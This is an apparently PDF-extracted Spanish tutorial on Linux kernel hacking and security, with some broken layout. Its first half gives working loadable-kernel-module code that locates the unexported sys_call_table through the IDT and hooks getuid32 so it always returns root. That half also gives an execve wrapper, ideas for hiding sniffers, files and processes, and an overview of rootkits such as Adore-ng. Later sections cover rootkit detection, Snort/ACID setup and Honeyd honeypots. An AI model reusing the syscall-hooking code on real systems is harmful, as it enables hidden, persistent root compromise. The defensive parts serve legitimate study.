.data ENTRY(sys_call_table) .long sys_restart_syscall .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long .long

...y continúa.

sys_exit sys_fork sys_read sys_write sys_open sys_close sys_waitpid sys_creat sys_link sys_unlink sys_execve sys_chdir sys_time sys_mknod sys_chmod sys_lchown16 sys_ni_syscall sys_stat sys_lseek sys_getpid sys_mount sys_oldumount sys_setuid16 sys_getuid16 sys_stime sys_ptrace sys_alarm sys_fstat sys_pause sys_utime sys_ni_syscall sys_ni_syscall sys_access sys_nice sys_ni_syscall sys_sync sys_kill sys_rename sys_mkdir sys_rmdir sys_dup sys_pipe sys_times sys_ni_syscall sys_brk sys_setgid16 sys_getgid16 sys_signal sys_geteuid16 sys_getegid16 sys_acct sys_umount sys_ni_syscall

/* 0 - old "setup()" system call, used for restarting */

/* 5 */

/* 10 */

/* 15 */ /* old break syscall holder */

/* 20 */

/* 25 */

/* 30 */

/* old stty syscall holder */

/* old gtty syscall holder */

/* 35 - old ftime syscall holder */

/* 40 */

/* old prof syscall holder */

/* 45 */

/* 50 */

/* recycled never used phys() */

/* old lock syscall holder */

Kernel hacks y seguridad

J.M.P

Arriba donde dice sys_restart_syscall sería la syscall #0 y sys_exit la #1, bien ese es el lugar para ir a mirar el símbolo correspondiente. Ahora tenemos que volcar el contenido de "entry.o" (fichero objeto) del mismo directorio actual de entry.S buscando algo MUY concreto, queremos esa dirección mágica y especial que tan ansiadamente buscamos... Procedo a usar GDB para desensamblar el fichero como muestro en la figura:

Muy bien, ahora ya hemos encontrado la dirección que queriamos y apartir de esa dirección ya es posible encontrar la sys_call_table. Lo podemos comprobar también haciendo un volcado del fichero objeto con objdump: objdump -d entry.o|grep "ff 14 85"

Ahora muestro un código bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos. El código puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la dirección donde se encuentra con un puntero.

Kernel hacks y seguridad

J.M.P

// Obtenemos la sys_call_table[] en kernels de la serie 2.6, test. #include #include #include #include /* para las pruebas */ #include /* IDT */ struct { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) idt; /* IDTR */ struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; /* el hook */ uid_t (* restaura)(void); /* la Sys_call_table ya no se exporta... */ int *sys_call_table; /* siempre uid 0 :) */ uid_t cero_uid(void){ return 0; } /* el hack */ static void syscalltable(void) { unsigned int offs,i; char sccall[128]; /* ok, necesitamos IDT, toca usar asm() */ asm("sidt %0" : "=m" (idtr));

printk(KERN_ALERT

"[IDTR] Base en @:0x%x\n", idtr.base);

/* idt[80h] */ memcpy(&idt,(void *)(idtr.base+8*0x80), sizeof(idt));

offs = (idt.off2 << 16) | idt.off1;

printk(KERN_ALERT

"[IDT(80h)] Descriptor en @:0x%x\n \

...verificando 'call'...\n", offs);

memcpy(sccall, (void *)offs ,128);

/* vamos a ver si encontramos la cadenita FF1485 por ah?:) */ i=0;

while((i<128) &&

!((sccall[i] == '\xff') &&

(sccall[i+1]== '\x14') &&

(sccall[i+2]== '\x85'))){

i++; } sys_call_table =(void*) (*(int *) &sccall[i+3]); printk(KERN_ALERT "[OK!] Sys_call_table -> 0x%p\n", sys_call_table); /* aqu?la tenemos :) NO verifico que no se haya encontrado :P */ }

Kernel hacks y seguridad

J.M.P

/* empieza */ static int __init buscarsct(void) { printk(KERN_ALERT "[CARGADO!] Buscando Sys_call_table...\n");

syscalltable(); /* fundamental */

/* vamos a ver si es verdad... ;) */

restaura=sys_call_table[__NR_getuid32];

sys_call_table[__NR_getuid32]=cero_uid;

return 0;

} /* lo ponemos todo en orden */ static void __exit descarga(void) { sys_call_table[__NR_getuid32]=restaura; printk("LKM descargado!"); } module_init(buscarsct); module_exit(descarga); /* ya estamos :) */ MODULE_LICENSE("GPL");

MODULE_AUTHOR("Jose Miguel Porcel G.");

MODULE_DESCRIPTION("Obtener la Sys_call_table[]");

Es este punto lo más importante de ese código – ya explicado - es más bien saber que se puede utilizar esa función "syscalltable()" en el resto de programas para obtener la Sys_call_table y poder usarla sin más como se ha visto en el resto de LKM's anteriores.

8.1- Otra alternativa ¿más sencilla? Si bien acabo de decir que el método anterior está muy probado yo he utilizado en kernels de la serie 2.6 (2.6.9 concretamente y otros) un mecanismo aún más personalizado, tanto que NO he podido probarlo al 100%, y aunque el gancho (hook) siempre se ha realizado con éxito por algún motivo en alguna máquina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle... aunque esto en los peores casos. No obstante el código algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 2.6 sin problema alguno. La idea del LKM va un poco más allá de lo que se pretende en este trabajo puesto que habría que explicar algunas otras cosas que se salen algo de la temática, el caso es que si hechamos un vistazo a: "" donde se encuentra una estructura llamada "cpuinfo_x86" con un montón de información muy interesante... como el resto del fichero la verdad, donde hay varias menciones a "loops_per_jiffy" y "boot_cpu_data" que son las únicas cosas de éste código no habré tratado hasta ahora. Básicamente, lo que hacemos es encontrar SYS_exit y a partir de ahí la Sys_call_table, el código aunque no esta mal no es perfecto ni mucho menos.

/usr/src/linux/include/asm $ vim processor.h

Kernel hacks y seguridad 1. #include 2. #include 3. #include 4. #include 5. #include 6. #include 7. int *sys_call_table; 8. uid_t (* restaura)(void); 9. uid_t cero_uid(void){ 10. printk("[!] probando h00k\n"); 11. return 0; 12. } 13. static int __init 14. carga (void) 15. { 16. unsigned long pointr; 17. unsigned long *sys; 18. extern int loops_per_jiffy; 19. sys_call_table = NULL; 20. printk (KERN_ALERT "Buscando Sys_call_table...! \n"); 21. printk (">> Localizando __NR_exit..."); 22. /* buscamos la sys_call_table[] :)*/ 23. for (pointr = (unsigned long) &loops_per_jiffy; 24. pointr < (unsigned long) &boot_cpu_data; 25. pointr += sizeof (void *)) { 26. sys = (unsigned long *) pointr; 27. if (sys[1] == (unsigned long) __NR_exit){ 28. sys_call_table = (void **) sys; 29. sys_call_table -= 304;// calculado :) 30. printk (" OK!\n__NR_exit localizado en: 0x%p\n", 31. (void *) sys_call_table[__NR_exit]); 32. break; 33. } 34. } 35. /* ya la tenemos :) ...o no :( */ 36. if (!sys_call_table) { 37. printk (KERN_ALERT 38. "\n[ERR] No pudo ser, rmmod modulo!...\n"); 39. return 0; 40. } 41. printk (KERN_ALERT 42. ">> Sys_call_table[] localizada! -> 0x%p\n", 43. sys_call_table); 44. restaura=sys_call_table[__NR_getuid32]; 45. sys_call_table[__NR_getuid32]=cero_uid; 46. return 0; 47. } 48. static void __exit 49. descarga (void) 50. { printk("Descargado!"); 51. sys_call_table[__NR_getuid32]=restaura; 52. } 53. module_init (carga); 54. module_exit (descarga); 55. MODULE_LICENSE("GPL"); 56. MODULE_AUTHOR("Jose Miguel Porcel G."); 57. MODULE_DESCRIPTION("Alternativa para encontrar Sys_call_table[]");

J.M.P

la

Kernel hacks y seguridad

J.M.P

Imagen conceptual del proceso

Kernel hacks y seguridad

J.M.P

9.- Hooks y hacks de interés (algunas ideas) Algunas cosas que podemos hacer en el Kernel: •

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese "PROMISC" delatador mediante la syscall "SYS_ioctl", se pueden hacer otras muchas cosas con eso si pensamos en lo que hace "ioctl()" que es controlar dispositivos.



Ocultar ficheros y procesos

¿Qué hacemos al abrir un fichero? ...Usar "getdents()" lo mismo para mirar los procesos mapeados en /proc y por tanto ¿Qué podemos hacer nosotros para manipular ese proceso? ... efectivamente, usar "SYS_getdents" basta con leer la documentación de las "manual pages" de getdents para saber como funciona :) •

Manipular "execve()"

Lo que hace execve es básicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los parámetros. Pero el Kernel y nosotros estamos preparados para ese problemilla, si miramos en unistd.h vemos que hay una serie de syscalls nulas sin ir más lejos la #222 no está puesto que es una "sys_ni_syscall" y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posición nula ( u otra de tu conveniencia) para llamarla desde otra función nuestra... pero claro ¿cómo llamamos a execve? Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel ¿no? /usr/src/linux/include/asm $ vim unistd.h En unistd.h – evitando tratar nada sobre ensamblador – encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusión (expandida por el preprocesador) que permitirá llamar a la función con tres parámetros, en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el código de error, típicamente -1, si hay éxito se vuelve a quien llamó. Nos basta entonces con rellenar esa macrointrusión para interceptar execve() correctamente, en el siguiente código __NR_mi_execve sustituye a la __NR_execve original.

Kernel hacks y seguridad

J.M.P

// ******* inicio ******** int

mi_execve

(const char *filen, char *const argv [], char *const envp[]){

int errno;

long __res; __asm__ volatile ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_mi_execve),"b" ((long)(filen)),\ "c" ((long)(argv)), \ "d" ((long)(envp))); \ __syscall_return(long,__res); \ } } // ******* final ********

Ese sería el código a usar para poder tratar con execve() desde el núcleo con un LKM.

10.- Rootkits: visión general Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones más que intersantes de cara a su uso en sistemas comprometidos, una vez descubierta una vulnerabilidad en un sistema y tras el éxito en su explotación procedemos a obtener y asegurar un mayor control sobre el host. Los rootkits son hoy por hoy uno de los mecanismos más sofisticados para conseguir ese objetivo. Se trata de un kit de herramienta/s que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los máximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema y/o de la red. De los primeros rootkits en la historia de los sistemas “unix-like” hay que destacar dos, el rootkit de SunOS4 y el Linux Root Kit “lrk3” (Diciembre 1996); Más ejemplos serían “heroin.c” y luego Knark como consecuencia de este nuevo tipo de técnicas. Uno de los primeros textos al respecto distribuido en Internet fue “Hiding Out Under Unix ” por Black Tie Affair (Phrack, vol.3 issue 25; 1989). Ni que decir tiene que el presente documento está bastante más avanzado que ese texto y va mucho más allá. Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits, no solo para los sistemas Solaris, Unix o Linux sino también para FreeBSD y Windows entre otros. Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras técnicas distintas a las contempladas por mi en este trabajo, además hay que comentar que la efectividad de un rootkit pasa también por mantener su código fuente oculto al uso público, a las empresas y los desarrolladores de soluciones para la seguridad.

Kernel hacks y seguridad

J.M.P

Ejemplo de un rootkit moderno: “Adore-ng” Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels más recientes sin problema alguno, para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redirección a nivel de capa VFS de Linux, además tiene una utilidad para infectar módulos cargados en el núcleo. Un interesante atículo por parte de “Stealth” (junto con el grupo TESO son autores de Adore) es: “Kernel Rootkit Experiences” donde habla de sus experiencias como autor de Adore y la situación en aquel momento de la investigación sobre nuevas ténicas entre otras cosas, aunque no se trata de un texto extenso. Sus características “básicas” vienen incluidas en el fichero FEATURES de mi descarga de Adore­ ng de Internet e indica – entre otras cosas- lo siguiente: •

Runs on kernel 2.4.x UP and SMP systems



First test-versions successfully run on 2.6.0



File and directory hiding



Process hiding



Socket-hiding (no matter whether LISTENing, CONNECTED etc)



Full-capability back door



Does not utilize sys_call_table but VFS layer



KISS principle, to have as less things in there as possible being as much powerful as possible

but also

Por otro lado el fichero README indica el proceso de instalación de Adore; Tras su compilación y

Kernel hacks y seguridad

J.M.P

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte “servidora” de Adore-ng, aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ningún caso aporta nada de interés adicional puesto que no es el objetivo hacer de script kiddie con Adore. La siguiente tabla introduce al famoso rootkit “SucKIT” para mostrar algunos datos de interés. Adore ~0.34

SucKIT

Adore-ng >=1.31

Interceptando el flujo de ejecución

Syscalltable

Syscall handler

VFS

Transferencia código dentro del Kernel

LKM

Acceso directo (raw ­ crudo) a memoria.

LKM

Incluye puerta trasera

-



-

Mecanismos de recarga

-

/sbin/init

Herramienta para infección LKM's

Tabla: Comparativa de algunos rootkits

Medidas de protección y detección de rootkits Aunque no es el objetivo del documento explicar las técnicas de detección de rootkits y puertas traseras de forma exhaustiva se comentan a continuación algunas utilidades prácticas para protegerse de este tipo de software en nuestros sistemas. Una de las maneras más directas es chequear System.map con las direcciones de memoria de las syscalls actuales, en principio deberian ser las mismas pero si un rootkit modifica la dirección a la que apunta la syscall podremos notar que hay una diferencia, cierto offset de la syscall original y la suplantada. Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicación. Aquí se muestra el inicio del fichero /usr/src/linux/System.map

linux # head System.map 00100000 c0100000 c0100000 c01000c6 c0100147 c010014e c0100199 c010019b c01001c2 c01001df

A A T t t t t t t t

phys_startup_32 _text startup_32 checkCPUtype is486 is386 L6 check_x87 setup_idt rp_sidt

Kernel hacks y seguridad

J.M.P

Otros métodos típicos: •

Checksums de ficheros importantes (tripwire, aide, etc.)



Backup de las estructuras centrales del kernel (kstat).



LKM's anti-rootkit.



Herramientas forenses (TCT).



Analisis de logs, etc.



Utilidades para la detección (rkhunter, chkrootkit).

Enlaces en Internet para la descarga de utilidades e información sobre las herramientas:

http://www.chkrootkit.org/ http://www.rootkit.org/

Conclusiones Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al milímetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante.

Kernel hacks y seguridad

J.M.P

Snort, el cerdito valiente.

SNORT es us sistema para la detección de intrusos OpenSource que nos permite monitorear el tráfico de nuestra red y detectar vulnerabilidades conocidas así como todo tipo de ataques conocidos a nuestra red. Su instalación es relativamente sencilla, y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional, combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias. Wreski y Christopher Pallack en Linuxsecurity.com: “ A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous, inappropriate, or other data that may be considered unauthorized occuring on a network. Unlike a firewall, w hich is configured to allow or deny access to a particular service or host based on a set of rules. If the traffic matches an acceptible pattern, it is permitted regardless of what the packet contains. However, an NIDS captures and inspects all traffic, re gardless of whether it's permitted or not. Based on the contents, at either the IP or application level, an alert is generated. Snort is a "lightweight" NIDS in that it is non-intrusive, easily configured, utilizes familiar methods for rule development, and takes only a few minutes to install. Snort currently includes the ability to detect more than 1100 potential vulnerabilities. Keep in mind that Intrusion Detection devices work in conjunction with other security measures, and are not a replacement for other good security practices. “

Kernel hacks y seguridad

J.M.P

1.- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort, para nuestra distribución de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribución, en mi caso particular:

root# emerge -pv snort These are the packages that I would merge, in order: Calculating dependencies ...done! [ebuild R ] net-analyzer/snort-2.4.3 -flexresp -inline +mysql -odbc ­ postgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB Total size of downloads: 0 kB

No obstante podemos obtener los paquetes y el código fuente de la URL: http://www.snort.org/dl/ Una vez instalado Snort procederemos a su configuración tal y como iremos viendo antes de proceder a arrancar el servicio.

2.- Configuración básica de Snort Para empezar debemos buscar un fichero llamado “snort.conf” que contiene la configuración de

Kernel hacks y seguridad

J.M.P

Snort. Dicho fichero se puede encontrar en: /etc/snort/snort.conf pero puede que esté ubicado en otra localización dependiendo de tu distribución, en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habrá que tener este pequeño matiz en consideración para el futuro. •

Antes de empezar es aconsejable realizar una copia del fichero original, es posible que ya se haya incluido dicha copia con el paquete de Snort, no obstante es muy aconsejable hacerlo sino es el caso.



El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se tratará de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria.

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero: 1. Establecer las variables para nuestra red. 2. Configurar el preprocesador de Snort. 3. Configurar los plugins de salida. 4. Añadir directivas para la configuración en ejecución de Snort. 5. Personalizar nuestro set de reglas para Snort.

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea.

Paso 1 •

Debemos indicar como está montada nuestra red e identificarnos, no es buena idea dejar esto con un valor “any” o por defecto así que lo modificamos como sea necesario.

Kernel hacks y seguridad

J.M.P var HOME_NET 192.168.1.1/24

o bien, var HOME_NET $eth0_ADDRESS



Más de lo mismo: indicamos los hosts que forman nuestra red, podemos hacerlo de varias manera y esta es la más adecuada para redes locales medianas o grandes. var HOME_NET 192.168.1.1/24



Ahora configuramos la red externa, con el valor “cualquiera” es un buen comienzo. var EXTERNAL_NET any



Indicamos la lista de servidores DNS, SMTP, etc. de nuestra red, si los hay: var DNS_SERVERS

$HOME_NET

var SMTP_SERVERS $HOME_NET [...] •

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques, si tenemos un servidor web (típicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicándolo de manera continua (22:1024) o por puertos individuales (21,22,53,80,8080 ...); También podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuración. var HTTP_PORTS 80 var BO-BACKDOOR 31337 var NO_SSH !22 include mis_directivas.rules



Ahora podemos configurar ciertos aspectos del decodificador de Snort, hecho esto podemos pasar a la configuración del motor de detección. Si andamos escasos de recursos en nuestra máquina es MUY recomendable usar: config detection: search-method lowmem

Paso 2 •

Podemos habilitar soporte para defragmentación IP, así podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa técnica así como evitar la evasión de Snort mediante técnicas más o menos avanzadas. Por ejemplo: preprocessor frag2

Kernel hacks y seguridad

J.M.P

preprocessor frag3_global: max_frags 65536 preprocessor frag3_engine: policy first detect_anomalies •

Stateful-inspection y Stream Reassembly, si queremos detectar ataques de escaneo de puertos ocultos, típicamente Syn-Stealth, o de cualquier otro tipo, así como otros ataques básicos esta es la sección a modificar; Por ejemplo: preprocessor stream4: detect_scans preprocessor stream4_reassemble



Performance Statistics, tal y como dice el fichero aquí hay MUCHAS posibilidades que no se van a tratar aquí así que lo mejor será mirar el propio manual y documentación de Snort al respecto. Lo dejaremos con los valores por defecto recomendados.



A continuación hay algunas directivas sobre la inspección de tráfico de Back Oriffice (troyano mítico del grupo Cult Of Dead Cow), tráfico RPC, posible ARP spoof, tráfico Telnet, etc. A configurar a gusto del consumidor o bien dejamos los valores por defecto.



Aquí podemos indicar cosas referentes al formato de salida de logs y demás, por ejemplo en el formato de “tcpdump” en una base de datos (MySQL) salida por el Syslog de sistema...



Aquí podemos leer el manual para obtener información detallada de las posibilidades para personalizar un poco más el funcionamiento de Snort, es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados.



Ahora podemos añadir nuestras propias reglas para la detección de actividad sospechosa u ataques a nuestra red. Este tema lo tratamos a continuación por separado, podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo.

Paso 3

Paso 4

Paso 5

3.- Descargando nuevas reglas desde Internet Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades, la primera web recomendada (aunque no la única al respecto) y a la que me voy a limitar es: http://www.snort.org/rules/ y/o

Kernel hacks y seguridad

J.M.P

http://www.snort.org/pub-bin/downloads.cgi Nos basta con descomprimir las reglas y ajustar la configuración de snort.conf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar. Por supuesto podemos crear nuestras propias reglas, para saber como hacerlo es mejor - una vez más – mirar la documentación actualizada de Snort al respecto.

4.- Prevención de intrusiones Aquí se muestra Snort actuando como interceptor de sesiones, se trata de examinar las sesiones establecidas por un atacante y sus intentos, si algo resulta hostil se envia un paquete RST para terminar la conexión de inmediato. En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesión explícitamente gracias a Snort. Nota: Tanto el firewall como Snort y el servidor web están conectados entre si, el servidor apache accesible desde el exterior está situado en la DMZ.

Ahora Snort (con el parche inline/IPS aplicado) actúa como firewall-router/IPS estando como Gateway. http://snort-inline.sourceforge.net (./configure - -enable-inline) Una vez detectado tráfico hostil fruto de un ataque el tráfico futuro del host atacante será bloqueado.

Kernel hacks y seguridad

J.M.P

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del tráfico entrante del host origen del ataque. Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red. http://www.snortsam.net

5.- Usando ACID + SNORT Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible vía web.

Kernel hacks y seguridad

J.M.P

La instalación de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias, podemos echar un vistazo al sitio web de ACID para descargar el software y documentación.

http://acidlab.sourceforge.net La versión más reciente de ACID es ahora 0.9.6_beta23 (según Portage en mi distribución no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el código de la aplicación que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduración en el desarrollo. Luego necesitaremos a ser posible:



Apache: soporte GD, OpenSSL, MySQL.



PHP: soporte GD, OpenSSL, MySQL.



MySQL



ACID: soporte adodb, jpgraph, phplot, GD



Y claro esta, Snort con soporte para MySQL.

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL, usando para ello la estructura que se nos facilita en los paquetes para la instalación para crear las tablas en la base de datos. También daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios. Ejemplo: $ mysql -u root -p mysql > CREATE DATABASE snort mysql > GRANT ALL ON snort.* to root@localhost identified by "password" $ mysql -u root -p pass < /usr/src/snort-x.x/schemas/create_mysql_snort Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache), /var/www/htdocs por ejemplo. Por tanto, es importante respetar el orden en la instalación de las dependencias. Lo siguiente muestra alguna de la información que hay que editar del fichero “acid_conf.php” para que todo funcione correctamente con la base de datos MySQL. Una vez instalado bastará con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo, por ejemplo: http://127.0.0.1/acid.

/* Alert DB connection parameters

Kernel hacks y seguridad

J.M.P

*

- $alert_dbname

: MySQL database name of Snort alert DB

*

- $alert_host

: host on which the DB is stored

*

- $alert_port

: port on which to access the DB

*

- $alert_user

: login to the database with this user

*

- $alert_password : password of the DB user

*

*

This information can be gleaned from the Snort database

*

output plugin configuration.

*/

$alert_dbname

= "snort_log";

$alert_host

= "localhost";

$alert_port

= "";

$alert_user

= "root";

$alert_password = "mypassword";

/* Archive DB connection parameters */

$archive_dbname

= "snort_archive";

$archive_host

= "localhost";

$archive_port

= "";

$archive_user

= "root";

$archive_password = "mypassword";

Esquema básico de la base de datos de ACID y su funcionamiento con Snort.

Kernel hacks y seguridad

J.M.P

Creación de reglas propias para Snort Podemos separar las reglas en grandes bloques. acción+cabecera y opciones

CABECERA ?

Acción de la regla: alert ...

?

Protocolo: tcp, udp ...

?

Direccion IP origen: $EXTERNAL_NET ...

?

Puerto IP origen: any ...

?

Direccion IP destino: $HOME_NET ...

?

Puerto IP destino: any ...

?

Dirección de la operación -> (puede ser ->, <-, <>)

OPCIONES ?

Mensaje: “hola directiva”

?

Opciones: flags: A;ack: 0; reference: ...

Ej.: drop tcp any any -> any 22 (classtype:attempted-user; msg:”Intento de conectar al puerto SSH”;) El código anterior hará que las conexiones al puerto 22 sean logueadas y bloqueadas, una vez añadida la regla dentro de las directivas de Snort. Para documentación detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet www.snort.org.

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con éxito contra nuestros sistemas. Los sistemas de detección y de prevención de intrusiones – Snort en el caso que nos ocupa – junto con políticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor así como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro.

Una vez más la soluciones opensource están muy por encima en calidad/precio con respecto a otras alternativas comerciales.

Kernel hacks y seguridad

J.M.P

Honeypots

Una de las técnicas más habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atención de nuestros posibles intrusos. Los honeypots son simplemente eso, señuelos que nos permiten mantener la red un poco más protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema. Aunque existen muchas soluciones para implementar honeypots en este trabajo se tratará principalmente con “Honeyd”.

Kernel hacks y seguridad

J.M.P

1.- Preparando el entorno de trabajo Lo primero que habrá que hacer es obtener una copia de “Honeyd” y opcionalmente “Arpd”, compilarlas e instalarlas en el sistema que pretende hacer de señuelo, está claro que no hay que instalarlo en un equipo en producción :P net-analyzer/honeyd Latest version available: 1.0-r1 Latest version installed: 1.0-r1 Size of downloaded files: 2,566 kB Homepage: http://www.citi.umich.edu/u/provos/honeyd/ Description: Honeyd is a small daemon that creates virtual hosts on a network License: GPL-2

De las siguientes direcciones nos interesa además toda la documentación que podamos encontrar al respecto. http://www.honeyd.org/ http://www.citi.umich.edu/u/provos/honeyd/

Debemos editar el fichero de configuración para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd.

# Config file for /etc/init.d/honeyd # Set Network address

HONEYD_NET="10.0.0.1"

HONEYD_IF="lo"

HONEYD_LOG="/var/log/honeyd.log"

# Set to 1 to enable (>=honeyd-1.0)

HONEYD_HTTPD=0

HONEYD_HTTPD_PORT=80

HONEYD_HTTPD_ROOT="/usr/share/honeyd/webserver/htdocs"

Kernel hacks y seguridad

J.M.P

# Set preferred options here HONEYD_OPTS="-f /etc/honeyd.conf -p /usr/share/honeyd/nmap.prints \ -x /usr/share/honeyd/xprobe2.conf -a /usr/share/honeyd/nmap.assoc"

Otras alternativas a honeyd podrían ser sistemas como VMWare, User Mode Linux, etc. Un interesante “paper” es el de Lance Spitzner disponible en: http://www.tracking-hackers.com/papers/honeypots.html (9 May, 2003)

2.- Creando sistemas virtuales Para crear los sistemas virtuales debemos editar el contenido de “/usr/share/honeyd/” en mi caso para conseguir nuestro objetivo de simulación, por ejemplo tenemos el fichero “config” concretamente config.sample que es un ejemplo de configuración, lo probamos copiando honeyd.conf dentro de /etc (en mi caso particular). Su contenido se muestra a continuación:

route route route route route route

entry 10.0.0.1 10.0.0.1 link 10.2.0.0/24 10.0.0.1 add net 10.3.0.0/16 10.3.0.1 latency 8ms bandwidth 10Mbps 10.3.0.1 link 10.3.0.0/24 10.3.0.1 add net 10.3.1.0/24 10.3.1.1 latency 7ms loss 0.5 10.3.1.1 link 10.3.1.0/24

# Example of a simple host template and its binding create template set template personality "Microsoft Windows XP Professional SP1" set template uptime 1728650 set template maxfds 35 add template tcp port 80 "scripts/iis5.net/main.pl" add template tcp port 22 "sh scripts/test.sh $ipsrc $dport" add template tcp port 23 proxy $ipsrc:23 add template udp port 53 proxy 141.211.92.141:53 set template default tcp action reset create default set default default tcp action block set default default udp action block set default default icmp action block create router

Kernel hacks y seguridad set set add add

router router router router

personality default tcp tcp port 22 tcp port 23

J.M.P "Cisco 1601R router running IOS 12.1(5)"

action reset

"scripts/test.sh"

"scripts/router-telnet.pl"

bind 10.3.0.1 router

bind 10.3.1.1 router

bind 10.3.1.12 template

bind 10.3.1.11 template

bind 10.3.1.10 template

set 10.3.1.11 personality "Microsoft Windows NT 4.0 SP3"

set 10.3.1.10 personality "IBM AIX 4.2"

De igual forma podemos editar el resto de ficheros de interés para modificar lo que queramos no obstante cubrir todas las posibilidades va más allá de lo que se persigue en este trabajo. La documentación on-line puede solucionar cualquier duda al respecto. Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap, ping, hping, traceroute, etc.

3.- Otros usos Podemos usar también los honeypots para automatizar tareas, por ejemplo, para limpiar gusanos que han infectado nuestra red imitando el proceso de infección pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload. Es solo una idea de todo lo que podemos hacer con un honeypot. Listado de programas y/o utilidades para el análisis de redes y auditorias: acid aimsniff amap angst argus arping arpoison arp-sk arpwatch authforce barnyard bigeye bing bmon braa bwm-ng bwmon cacti cacti-cactid calamaris chaosreader cheops-ng cnet cryptcat cutter darkstat

hping httping hunt hydra hyperic-hq-agent ibmonitor ifmetric ifstat iftop ike-scan ipac-ng ipaudit ipcad iplog ippl iptraf iptstate isic jnettop knetscan knocker labrea lft libnasl linkchecker macchanger

netcat6 netdiscover nethogs neti netio netleds_applet netperf netselect net -snmp netspeed_applet nettop netwag netwatch netwox ngrep nikto nload nmap nmbscan nomad ns nsat nstats ntop nttcp oinkmaster

